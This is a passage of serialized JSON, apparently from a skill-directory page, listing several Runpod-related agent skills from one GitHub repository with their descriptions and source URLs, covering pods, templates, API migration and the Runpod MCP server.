runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]